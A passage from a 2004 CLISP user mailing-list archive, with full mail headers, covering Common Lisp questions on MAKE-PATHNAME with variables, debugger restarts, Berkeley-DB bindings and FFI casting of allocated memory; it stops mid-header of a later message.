List-Archive: Date: Fri Jul 30 16:18:01 2004 X-Original-Date: Fri, 30 Jul 2004 18:06:30 -0500 I don't understand this behavior: (setf *cust-name* "TOT") (setf *cust-root* (pathname "c:/")) (setf *cust-home-dir (merge-pathnames (make-pathname :directory '(:relative *cust-name*)) *cust-root*)) *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE *CUST-NAME*) however (setf *cust-home-dir (merge-pathnames (make-pathname :directory '(:relative "TOT")) *cust-root*)) #P"/cygdrive/c/TOT/" The only difference (as far as I can tell) is the use of the literal string in the directory list (that works) and the variable (which doesn't). Is this a bug that should be reported, or am I doing something wrong? GNU CLISP 2.33.2 (2004-06-02) (built 3299436836) (memory 3299437271) Software: GNU C 3.3.1 (cygming special) ANSI C program Features: (SYSCALLS REGEXP POSTGRESQL BERKELEY-DB CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX CYGWIN) Installation directory: /usr/local/lib/clisp/ User language: ENGLISH Machine: I686 (I686) DUSU3500B31.us.ad.hertz.com [10.0.148.76] (source compiled from distribution on sf.net -- not cvs since I can't get cvs from behind the company firewall) Thanks, Jeff From pascal@informatimago.com Fri Jul 30 19:32:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqjfD-0006xd-SQ for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 19:31:59 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BqjfD-0000pf-41 for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 19:31:59 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 857DC586E3; Sat, 31 Jul 2004 04:31:50 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id A532E4CE52; Sat, 31 Jul 2004 04:31:45 +0200 (CEST) Message-ID: <16651.1169.501374.991179@thalassa.informatimago.com> To: wolfjb@bigfoot.com Cc: "clisp-list" Subject: [clisp-list] make-pathname question In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: fr, es, en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 30 19:32:06 2004 X-Original-Date: Sat, 31 Jul 2004 04:31:45 +0200 wolfjb@bigfoot.com writes: > I don't understand this behavior: > > (setf *cust-name* "TOT") > (setf *cust-root* (pathname "c:/")) > (setf *cust-home-dir > (merge-pathnames (make-pathname :directory '(:relative *cust-name*)) > *cust-root*)) > > *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE *CUST-NAME*) > > however > > (setf *cust-home-dir > (merge-pathnames (make-pathname :directory '(:relative "TOT")) > *cust-root*)) > > #P"/cygdrive/c/TOT/" > > The only difference (as far as I can tell) is the use of the literal string > in the directory list (that works) and the variable (which doesn't). > > Is this a bug that should be reported, or am I doing something wrong? You are doing something wrong. MAKE-PATHNAME wants strings, not symbols, or "variables" as you name it. Why don't you give it what it wants? (setf *cust-home-dir (merge-pathnames (make-pathname :directory (list :relative *cust-name*)) *cust-root*)) or: (setf *cust-home-dir (merge-pathnames (make-pathname :directory `(:relative ,*cust-name*)) *cust-root*)) -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From wcc@xavin.adhockery.net Fri Jul 30 22:47:52 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bqmim-0003bV-Do for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 22:47:52 -0700 Received: from c-24-1-113-240.client.comcast.net ([24.1.113.240] helo=xavin.adhockery.net ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1Bqmim-0001S1-0x for clisp-list@lists.sourceforge.net; Fri, 30 Jul 2004 22:47:52 -0700 Received: from xavin.adhockery.net (wcc@xavin.adhockery.net [127.0.0.1]) by xavin.adhockery.net (8.12.11/8.12.11/Debian-5) with ESMTP id i6V5lkVm018013 for ; Sat, 31 Jul 2004 00:47:46 -0500 Received: (from wcc@localhost) by xavin.adhockery.net (8.12.11/8.12.11/Debian-5) id i6V5lkLc018011 for clisp-list@lists.sourceforge.net; Sat, 31 Jul 2004 00:47:46 -0500 From: William Carrington To: clisp-list@lists.sourceforge.net Message-ID: <20040731054746.GB17961@xavin.adhockery.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.6+20040523i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Interactive interpreter error recovery Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 30 22:48:04 2004 X-Original-Date: Sat, 31 Jul 2004 00:47:46 -0500 Excuse me if I am being redundant, but I couldn't find a way to search the archives. If I should be looking at a tutorial, please yell at me and I will go away. :) I am new to clisp, and the way it recovers from errors seems very strange. For example, if I start the interpreter and input at the prompt "(setq a a)", it tells me that the variable A has no value. Then it gives me a couple of 'restarts' to choose from, with no indication of how to choose them, or just tell it to forget about it so that I can input a completely different statement. How do I choose one of the options? How do I tell it to ignore that statement and continue with the session as if I never input the statement? --William Carrington From edi@agharta.de Sat Jul 31 00:50:35 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqodX-0003fT-G3 for clisp-list@lists.sourceforge.net; Sat, 31 Jul 2004 00:50:35 -0700 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BqodW-0006xO-QS for clisp-list@lists.sourceforge.net; Sat, 31 Jul 2004 00:50:35 -0700 Received: by bird.agharta.de (Postfix, from userid 1000) id CDE5A63001; Sat, 31 Jul 2004 09:50:27 +0200 (CEST) To: William Carrington Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Interactive interpreter error recovery References: <20040731054746.GB17961@xavin.adhockery.net> From: Edi Weitz X-Home-Page: http://weitz.de/ Mail-Copies-To: never In-Reply-To: <20040731054746.GB17961@xavin.adhockery.net> (William Carrington's message of "Sat, 31 Jul 2004 00:47:46 -0500") Message-ID: <87llh0linw.fsf@bird.agharta.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 31 00:51:04 2004 X-Original-Date: Sat, 31 Jul 2004 09:50:27 +0200 On Sat, 31 Jul 2004 00:47:46 -0500, William Carrington wrote: > Excuse me if I am being redundant, but I couldn't find a way to > search the archives. If I should be looking at a tutorial, please > yell at me and I will go away. :) > > I am new to clisp, and the way it recovers from errors seems very > strange. For example, if I start the interpreter and input at the > prompt "(setq a a)", it tells me that the variable A has no > value. Then it gives me a couple of 'restarts' to choose from, with > no indication of how to choose them, or just tell it to forget about > it so that I can input a completely different statement. > > How do I choose one of the options? How do I tell it to ignore that > statement and continue with the session as if I never input the > statement? Just type in the name of the restart or its abbreviation. [1]> (setq a a) *** - EVAL: variable A has no value The following restarts are available: STORE-VALUE :R1 You may input a new value for A. USE-VALUE :R2 You may input a value to be used instead of A. Break 1 [2]> :r1 New A: 42 42 [3]> (setq b b) *** - EVAL: variable B has no value The following restarts are available: STORE-VALUE :R1 You may input a new value for B. USE-VALUE :R2 You may input a value to be used instead of B. Break 1 [4]> store-value New B: 43 43 [5]> You can also type "help" or "?" if you're in the debugger. If you just want to abort type ":a" (or ":q" to go to the top-level in case you're several levels deep into the debugger). The Lisp way of dealing with errors (this is not particular to CLISP the implementation but a general feature of Common Lisp the language) may seem strange if you're accustomed to C-like languages but it's actually very powerful. See for a good explanation. HTH, Edi. From sds@gnu.org Sat Jul 31 22:28:11 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Br8tH-0006Jr-8E for clisp-list@lists.sourceforge.net; Sat, 31 Jul 2004 22:28:11 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Br8tG-0002TE-S6 for clisp-list@lists.sourceforge.net; Sat, 31 Jul 2004 22:28:11 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1Br8t4-00039x-00; Sun, 01 Aug 2004 01:27:58 -0400 To: clisp-list@lists.sourceforge.net, wolfjb@bigfoot.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (wolfjb@bigfoot.com's message of "Fri, 30 Jul 2004 17:16:29 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, wolfjb@bigfoot.com Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: berkeley-db usage question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 31 22:29:01 2004 X-Original-Date: Sun, 01 Aug 2004 01:27:58 -0400 > * [2004-07-30 17:16:29 -0500]: > > I've compiled CLISP from the sources distributed on sf.net (I can't > get to cvs because of a company firewall) with the berkeley-db (among > others) in a cygwin environment. berkeley-db in the release is incomplete and buggy. cvs head is better. I just built it for you, get the binary from don't forget to review impnotes. ***WARNING*** this is work in progress in many respects. don't bother to report bugs in _anything_ except berkeley-db. (e.g., the barrage of warnings about function redefinitions &c) > (setf dbe (bdb:env-create)) > (bdb:env-open dbe :home "/cygdrive/h/" :create t) > (setf dbh (bdb:db-create dbe)) > (bdb:db-open dbh "mydb.db") > (bdb:db-close dbh) > (bdb:env-close dbe) WFM, just use "bdb:dbe-" instead of "bdb:env-" and set *print-circle* to T -- Sam Steingold (http://www.podval.org/~sds) running w2k My other CAR is a CDR. From pascal@informatimago.com Sun Aug 01 11:25:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BrL1H-00010Q-8x for clisp-list@lists.sourceforge.net; Sun, 01 Aug 2004 11:25:15 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BrL1G-0006rr-J9 for clisp-list@lists.sourceforge.net; Sun, 01 Aug 2004 11:25:15 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 46641586E2; Sun, 1 Aug 2004 20:25:07 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 24B414D5BA; Sun, 1 Aug 2004 20:25:00 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20040801182500.24B414D5BA@thalassa.informatimago.com> X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] FFI and C-POINTERs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 1 11:26:03 2004 X-Original-Date: Sun, 1 Aug 2004 20:25:00 +0200 (CEST) I'm running in loops. How can one get a "foreign variable" that seem so needed to FFI:CAST, FFI:DEREF, etc, from a C-POINTER? (FFI:DEF-CALL-OUT MALLOC (:NAME "malloc") (:ARGUMENTS (SIZE FFI:UINT32 :IN)) (:RETURN-TYPE FFI:C-POINTER) (:LANGUAGE :STDC)) (setq m (malloc 4)) - How do I set a FFI:UINT32 in the memory pointed to by M? - How do I get the FFI:UINT32 pointed to by M? - Same questions for the (FFI:C-ARRAY (2) FFI:UINT16)? -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From sds@gnu.org Sun Aug 01 12:16:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BrLoT-0006Jb-Sf for clisp-list@lists.sourceforge.net; Sun, 01 Aug 2004 12:16:05 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BrLoT-0007Vv-FF for clisp-list@lists.sourceforge.net; Sun, 01 Aug 2004 12:16:05 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BrLoL-0001D1-00; Sun, 01 Aug 2004 15:15:57 -0400 To: clisp-list@lists.sourceforge.net, Cc: Joerg-Cyril Hoehle Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040801182500.24B414D5BA@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Sun, 1 Aug 2004 20:25:00 +0200 (CEST)") References: <20040801182500.24B414D5BA@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Joerg-Cyril Hoehle Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: FFI and C-POINTERs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 1 12:17:01 2004 X-Original-Date: Sun, 01 Aug 2004 15:15:56 -0400 > * Pascal J.Bourguignon [2004-08-01 20:25:00 +0200]: > > How can one get a "foreign variable" that seem so needed to FFI:CAST, > FFI:DEREF, etc, from a C-POINTER? (FFI:WITH-FOREIGN-OBJECT (variable c-type [initarg]) body) (FFI:WITH-C-VAR (variable c-type [initarg]) body) > (FFI:DEF-CALL-OUT MALLOC > (:NAME "malloc") > (:ARGUMENTS (SIZE FFI:UINT32 :IN)) > (:RETURN-TYPE FFI:C-POINTER) > (:LANGUAGE :STDC)) > (setq m (malloc 4)) (FFI:ALLOCATE-SHALLOW c-type &KEY :COUNT :READ-ONLY) (FFI:ALLOCATE-DEEP c-type contents &KEY :COUNT :READ-ONLY) (FFI:FOREIGN-FREE foreign-entity &KEY :FULL) (FFI:FOREIGN-ALLOCATE c-type-internal &KEY :INITIAL-CONTENTS :COUNT :READ-ONLY) > - How do I set a FFI:UINT32 in the memory pointed to by M? > - How do I get the FFI:UINT32 pointed to by M? > - Same questions for the (FFI:C-ARRAY (2) FFI:UINT16)? Joerg is the authority here... -- Sam Steingold (http://www.podval.org/~sds) running w2k A man paints with his brains and not with his hands. From pascal@informatimago.com Sun Aug 01 18:56:09 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BrS3d-0001GU-Am for clisp-list@lists.sourceforge.net; Sun, 01 Aug 2004 18:56:09 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BrS3c-0005v5-7O for clisp-list@lists.sourceforge.net; Sun, 01 Aug 2004 18:56:09 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 69A8D586E2; Mon, 2 Aug 2004 03:56:00 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id C78C74D5B2; Mon, 2 Aug 2004 03:55:52 +0200 (CEST) Message-ID: <16653.40743.175662.593074@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Joerg-Cyril Hoehle Subject: [clisp-list] Re: FFI and C-POINTERs In-Reply-To: References: <20040801182500.24B414D5BA@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 1 18:57:01 2004 X-Original-Date: Mon, 2 Aug 2004 03:55:51 +0200 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-08-01 20:25:00 +0200]: > > > > How can one get a "foreign variable" that seem so needed to FFI:CAST, > > FFI:DEREF, etc, from a C-POINTER? > > > (FFI:WITH-FOREIGN-OBJECT (variable c-type [initarg]) body) > (FFI:WITH-C-VAR (variable c-type [initarg]) body) > > > (FFI:DEF-CALL-OUT MALLOC > > (:NAME "malloc") > > (:ARGUMENTS (SIZE FFI:UINT32 :IN)) > > (:RETURN-TYPE FFI:C-POINTER) > > (:LANGUAGE :STDC)) > > (setq m (malloc 4)) > > > (FFI:ALLOCATE-SHALLOW c-type &KEY :COUNT :READ-ONLY) > (FFI:ALLOCATE-DEEP c-type contents &KEY :COUNT :READ-ONLY) > (FFI:FOREIGN-FREE foreign-entity &KEY :FULL) > (FFI:FOREIGN-ALLOCATE c-type-internal &KEY :INITIAL-CONTENTS :COUNT :READ-ONLY) But, there is a big problem with the stuff returned by ALLOCATE-SHALLOW: CL-USER> (setf a (ffi:allocate-shallow 'ffi:uchar :count 4)) # CL-USER> (ffi:cast (ffi:foreign-value a) 'ffi:uint32) 0 CL-USER> (setf (ffi:cast (ffi:foreign-value a) 'ffi:uint32) #16r12345678) 305419896 So far so good, but then: # cannot be converted to the foreign type FFI:UINT16 [Condition of type SIMPLE-ERROR] Restarts: 0: [ABORT] Abort handling SLIME request. Backtrace: 0: frame binding variables (~ = dynamically): | ~ SYSTEM::*FASOUTPUT-STREAM* <--> NIL 1: EVAL frame for form (FFI::%CAST A (FFI:PARSE-C-TYPE 'FFI:UINT16)) 2: EVAL frame for form (FFI:FOREIGN-VALUE (FFI::%CAST A (FFI:PARSE-C-TYPE 'FFI:UINT16))) 3: EVAL frame for form (FFI:CAST (FFI:FOREIGN-VALUE A) 'FFI:UINT16) 4: EVAL frame for form (FORMAT T "~16R~%" (FFI:CAST (FFI:FOREIGN-VALUE A) 'FFI:UINT16)) 5: EVAL frame for form (SWANK:LISTENER-EVAL "(format t \"~16R~%\" (ffi:cast (ffi:foreign-value a) 'ffi:uint16)) ") 6: EVAL frame for form (SWANK:START-SERVER "/tmp/slime.30354") That is, one cannot really type cast shallow-allocated object as in C. While it still is possible to try to cast to an array covering the whole "object", this won't be possible when then size of the wanted type cast and the size of the "object" are not congurent! > > - How do I set a FFI:UINT32 in the memory pointed to by M? > > - How do I get the FFI:UINT32 pointed to by M? > > - Same questions for the (FFI:C-ARRAY (2) FFI:UINT16)? > > Joerg is the authority here... -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From lisp-clisp-list@m.gmane.org Tue Aug 03 05:08:52 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bry67-00053Z-QI for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 05:08:51 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bry67-00054V-5U for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 05:08:51 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1Bry65-0000JA-00 for ; Tue, 03 Aug 2004 14:08:49 +0200 Received: from melbourne.laas.fr ([140.93.21.103]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 03 Aug 2004 14:08:49 +0200 Received: from emarsden by melbourne.laas.fr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 03 Aug 2004 14:08:49 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Eric Marsden Organization: LAAS-CNRS http://www.laas.fr/ Lines: 11 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: melbourne.laas.fr X-URL: http://www.chez.com/emarsden/ X-Message-Flags: Insufficient vodka to complete operation X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) Cancel-Lock: sha1:zlgLLAZoW5SR3eDV0jBWV1ScSTM= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Test failure on MacOS X: excepsit.erg type-error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 